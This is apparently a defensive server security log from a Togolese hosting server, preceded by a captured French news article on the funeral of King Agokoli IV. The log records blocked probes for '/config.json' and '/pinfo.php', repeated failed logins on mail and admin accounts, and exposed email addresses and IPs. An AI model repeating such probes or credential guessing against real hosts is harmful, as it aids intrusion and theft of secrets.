membres du gouvernement, des d\xc3\xa9put\xc3\xa9s et s\xc3\xa9nateurs, des autorit\xc3\xa9s traditionnelles et religieuses, ainsi que des fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana et de la diaspora.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au cours de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, togbui mawuto fr\xc3\xa9d\xc3\xa9ric dzidzoli d\xc3\xa9tu x, chef du canton d\xe2\x80\x99aflao gakli, a, au nom du conseil national de la chefferie traditionnelle, rappel\xc3\xa9 que, pour le d\xc3\xa9funt roi, l\xe2\x80\x99apparat royal constituait avant tout un habit de travail, une vision qu\xe2\x80\x99il a incarn\xc3\xa9e tout au long de son r\xc3\xa8gne.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31450,\"width\":\"775px\",\"height\":\"auto\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/aa-nuit.jpg\" alt=\"\" class=\"wp-image-31450\" style=\"width:775px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab avec sa canne de leader charismatique qu'il vient de d\xc3\xa9poser pour toujours, il a sillonn\xc3\xa9 toutes les pr\xc3\xa9fectures afin de transmettre aux chefs les valeurs et les vertus que doivent porter les garants des us et coutumes \xc2\xbb,</em> a-t-il d\xc3\xa9clar\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui mawuko adela aklassou iv, vice-pr\xc3\xa9sident de l\xe2\x80\x99union eweto, a pour, sa part, r\xc3\xa9it\xc3\xa9r\xc3\xa9 l\xe2\x80\x99amour que le roi portait au travail, soulignant que son mot d\xe2\x80\x99ordre \xc3\xa0 l\xe2\x80\x99endroit des chefs de l\xe2\x80\x99espace ew\xc3\xa9 \xc3\xa9tait de servir avant de r\xc3\xa9gner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab serviteur dot\xc3\xa9 d'une grande \xc3\xa9nergie physique et intellectuelle, il ne s'avoua jamais abattu malgr\xc3\xa9 le poids de l'\xc3\xa2ge. v\xc3\xa9ritable garant des us et coutumes, il s'\xc3\xa9tait engag\xc3\xa9 \xc3\xa0 restaurer le sanctuaire d'agbogbodzi pour en faire un lieu sacr\xc3\xa9 et attractif au service des valeurs traditionnelles \xc2\xbb,</em> a-t-il ajout\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mgr beno\xc3\xaet alowonou, \xc3\x89v\xc3\xaaque de kpalim\xc3\xa9 et pr\xc3\xa9sident de la conf\xc3\xa9rence des \xc3\xa9v\xc3\xaaques du togo (cet), c\xc3\xa9l\xc3\xa9brant la messe d\xe2\x80\x99enterrement, a rappel\xc3\xa9 l\xe2\x80\x99attachement du souverain \xc3\xa0 la foi chr\xc3\xa9tienne \xc3\xa0 travers son bapt\xc3\xaame et a pri\xc3\xa9 pour que le seigneur l\xe2\x80\x99accueille dans sa demeure de repos \xc3\xa9ternel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>la c\xc3\xa9r\xc3\xa9monie s\xe2\x80\x99est ensuite poursuivie par l\xe2\x80\x99ex\xc3\xa9cution de danses traditionnelles telles que alaga, brekete, djokoto et ablafo, en hommage au souverain disparu.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en raison des exigences de la tradition, le cercueil du roi n\xe2\x80\x99a pas \xc3\xa9t\xc3\xa9 expos\xc3\xa9 au public. seuls ses attributs royaux et ses reliques ont \xc3\xa9t\xc3\xa9 pr\xc3\xa9sent\xc3\xa9s sur la place publique lors de la c\xc3\xa9r\xc3\xa9monie d\xe2\x80\x99hommage, avant d\xe2\x80\x99\xc3\xaatre solennellement reconduits \xc3\xa0 la r\xc3\xa9sidence royale conform\xc3\xa9ment aux usages coutumiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>togbui agokoli iv a occup\xc3\xa9 plusieurs hautes fonctions avant son d\xc3\xa9c\xc3\xa8s. il fut notamment chef du canton de nots\xc3\xa9, pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo (cnctt), pr\xc3\xa9sident du bureau ex\xc3\xa9cutif de l\xe2\x80\x99union eweto, ancien membre de la commission nationale des droits de l\xe2\x80\x99homme (cndh) ainsi qu\xe2\x80\x99ancien membre de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr) et officier de l'ordre du mono.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>avec son inhumation, s\xe2\x80\x99ach\xc3\xa8ve le parcours terrestre de sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui agokoli iv. son h\xc3\xa9ritage, marqu\xc3\xa9 par la promotion des valeurs traditionnelles, l\xe2\x80\x99unit\xc3\xa9 du peuple ew\xc3\xa9 et le service \xc3\xa0 la nation, demeure d\xc3\xa9sormais une source d\xe2\x80\x99inspiration pour les g\xc3\xa9n\xc3\xa9rations pr\xc3\xa9sentes et futures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons que la veille de son inhumation, une grande veill\xc3\xa9e fun\xc3\xa8bre en hommage \xc3\xa0 sa majest\xc3\xa9 ew\xc3\xa9fiaga togbui boniface fafanyo kossi agboli agokoli iv s'\xc3\xa9tait tenue toujours \xc3\xa0 nots\xc3\xa9. plac\xc3\xa9e sous le signe de la foi, du souvenir et du recueillement, cette c\xc3\xa9l\xc3\xa9bration a r\xc3\xa9uni, les fils et filles du peuple ew\xc3\xa9 venus du togo, du b\xc3\xa9nin, du ghana ainsi que de la diaspora, les autorit\xc3\xa9s politiques, traditionnelles et administratives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31451,\"width\":\"840px\",\"height\":\"auto\",\"aspectratio\":\"4.630098452883263\",\"sizeslug\":\"full\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/abace.jpg\" alt=\"\" class=\"wp-image-31451\" style=\"aspect-ratio:4.630098452883263;width:840px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le r\xc3\xa9v\xc3\xa9rend p\xc3\xa8re jean-marie koglo, pr\xc3\xaatre r\xc3\xa9sident \xc3\xa0 la paroisse saint-rapha\xc3\xabl d'ad\xc3\xa9ta, le c\xc3\xa9l\xc3\xa9brant principal a, dans son hom\xc3\xa9lie, invit\xc3\xa9 l'assistance \xc3\xa0 m\xc3\xa9diter sur la vie de foi et de service de sa majest\xc3\xa9 togbui agokoli iv. il a soulign\xc3\xa9 sa fid\xc3\xa9lit\xc3\xa9 aux valeurs \xc3\xa9vang\xc3\xa9liques, son engagement au service de son peuple et son esp\xc3\xa9rance en la vie \xc3\xa9ternelle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, togbui agokoli iv est n\xc3\xa9 en 1940 \xc3\xa0 nots\xc3\xa9, et a consacr\xc3\xa9 sa vie \xc3\xa0 la pr\xc3\xa9servation des traditions ancestrales et \xc3\xa0 la promotion de l'identit\xc3\xa9 culturelle \xc3\xa9w\xc3\xa9. figure respect\xc3\xa9e de la royaut\xc3\xa9 traditionnelle togolaise, il a occup\xc3\xa9 plusieurs hautes responsabilit\xc3\xa9s, notamment celles de chef du canton de nots\xc3\xa8, de pr\xc3\xa9sident du conseil national de la chefferie traditionnelle du togo, de membre de la commission nationale des droits de l'homme (cndh) et de la commission v\xc3\xa9rit\xc3\xa9, justice et r\xc3\xa9conciliation (cvjr). rassembleur, homme de paix, de sagesse et d'unit\xc3\xa9, il \xc3\xa9tait \xc3\xa9cout\xc3\xa9, suivi et respect\xc3\xa9 au-del\xc3\xa0 de sa communaut\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mc avec an</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.219.163
country_id: 1835841
description:
Jun 22 15:45:26 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.219.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.80.219.163
country_id: 1835841
description:
Jun 22 15:45:36 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.80.219.163 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.36.220.201
country_id: 6252001
description:
[2026-06-22 15:48:11 +0000] info [cpaneld] 73.36.220.201 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.197.211.223
country_id: 6252001
description:
[2026-06-22 15:48:21 +0000] info [cpaneld] 74.197.211.223 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:48:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248234&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143299 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:15:48:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039124&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143289 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.245.110.40
country_id: 6252001
description:
[2026-06-22 15:48:55 +0000] info [cpaneld] 96.245.110.40 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:15:48:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672393&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143310 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.49.77.227
country_id: 3017382
description:
[2026-06-22 15:48:38 +0000] info [cpaneld] 130.49.77.227 - ucaouut "POST /login/?login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.185.162.121
country_id: 1643084
description:
93.185.162.121 - - [22/Jun/2026:15:51:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195306&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143476 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.185.162.121


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.129.86
country_id: 3469034
description:
Jun 22 15:51:34 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.129.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.10.98.74
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400.png 600w, http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400-300x200.png 300w, http:/togodailynews.tg/wp-content/uploads/2021/05/Programme-excellence-presidentielle-600x400-272x182.png 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-22 15:53:49 dovecot_login authenticator failed for H=(SIEDFC06) [196.170.45.140]:56045: 535 Incorrect authentication data (set_id=k.tete@wages.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 116.212.128.214
country_id: 1831722
description:
116.212.128.214 - - [22/Jun/2026:15:54:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857222&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143639 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:116.212.128.214


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/22/2026:15:55:30 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.178.191.178
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/938b8c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.86.58
country_id: 226074
description:
Jun 22 15:55:38 ns5 auth[2554034]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.86.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.68.141
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/177300281 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 15:56:58 +0000] info [cpaneld] 103.65.237.57 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.159.220.166
country_id: 2542007
description:
2026-06-22 15:58:25 dovecot_plain authenticator failed for H=([192.168.217.1]) [105.159.220.166]:53012: 535 Incorrect authentication data (set_id=whmcsadmin@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.166.115
country_id: 1880251
description:
104.28.166.115 - - [22/Jun/2026:15:58:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920296&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782143913 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.166.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 182.3.101.43
country_id: 1643084
description:
182.3.101.43 - - [22/Jun/2026:16:00:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055322&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144020 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:182.3.101.43


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.107.227.111
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome.jpeg 555w, http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome-300x209.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/10/Aeroport-de-lome-320x224.jpeg 320w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.223.175
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/evala-2024-faure-gnassingbe-assiste-a-la-grande-finale-de-pya/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:04:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920809&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144254 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:04:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001564&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782144255 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.204.100.201
country_id: 290557
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/societe HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.51.89.13
country_id: 3686110
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/partenaire HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: thebutterflytours.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/thebutterflytours.com/pinfo.php HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.45.140
country_id: 2363686
description:
2026-06-22 16:10:22 dovecot_login authenticator failed for H=(SIEDFC06) [196.170.45.140]:29047: 535 Incorrect authentication data (set_id=k.tete@wages.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.153.189.18
country_id: 6252001
domain: www.luetkenhaus.app
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.luetkenhaus.app/config.json HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.190.85.8
country_id: 3625428
domain: cloud-et-racks.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cloud-et-racks.tg/wp-content/uploads/2022/10/Magazine-cloudRacks.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.173.118.249
country_id: 1562822
description:
2026-06-22 16:17:50 dovecot_plain authenticator failed for H=(kb2j8ltgvlxfdww1nd58495fwckgknr) [113.173.118.249]:25321: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.64.228
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/09/IMG-20230926-WA0020-696x324-1.jpg 696w, http:/togodailynews.tg/wp-content/uploads/2023/09/IMG-20230926-WA0020-696x324-1-300x140.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:19:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841191&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.24.212.22
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-18.216.24.212.22||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.2.253.128
country_id: 3469034
description:
186.2.253.128 - - [22/Jun/2026:16:20:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856670&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecurite-alimentaire-la-production-cerealiere-est-en-hausse-au-togo-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145198 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/securite-alimentaire-la-production-cerealiere-est-en-hausse-au-togo-2/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.3490.1759 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.2.253.128


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-06-22 16:22:58 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:57901: 535 Incorrect authentication data (set_id=scan@togosem.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.8.65.241
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2046272311 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jun 22 16:22:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.145.207.222
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819-300x240.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/10/Economie-le-chef-de-lEtat-a-la-conquete-de-nouveaux-investisseurs-a-Washington-1024x819-768x614.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-22 16:24:12 dovecot_login authenticator failed for H=(SCRPMKD) [196.170.122.162]:49902: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.215.47.171
country_id: 3017382
description:
86.215.47.171 - - [22/Jun/2026:16:23:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6385515&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782145426 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.4058.1041 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.215.47.171


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - nicolas.ah@cloud-et-racks.tg [06/22/2026:16:28:02 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: nicolas.ah@cloud-et-racks.tg


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.224.27
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/7e7356 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.3.228.144
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/498711093 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
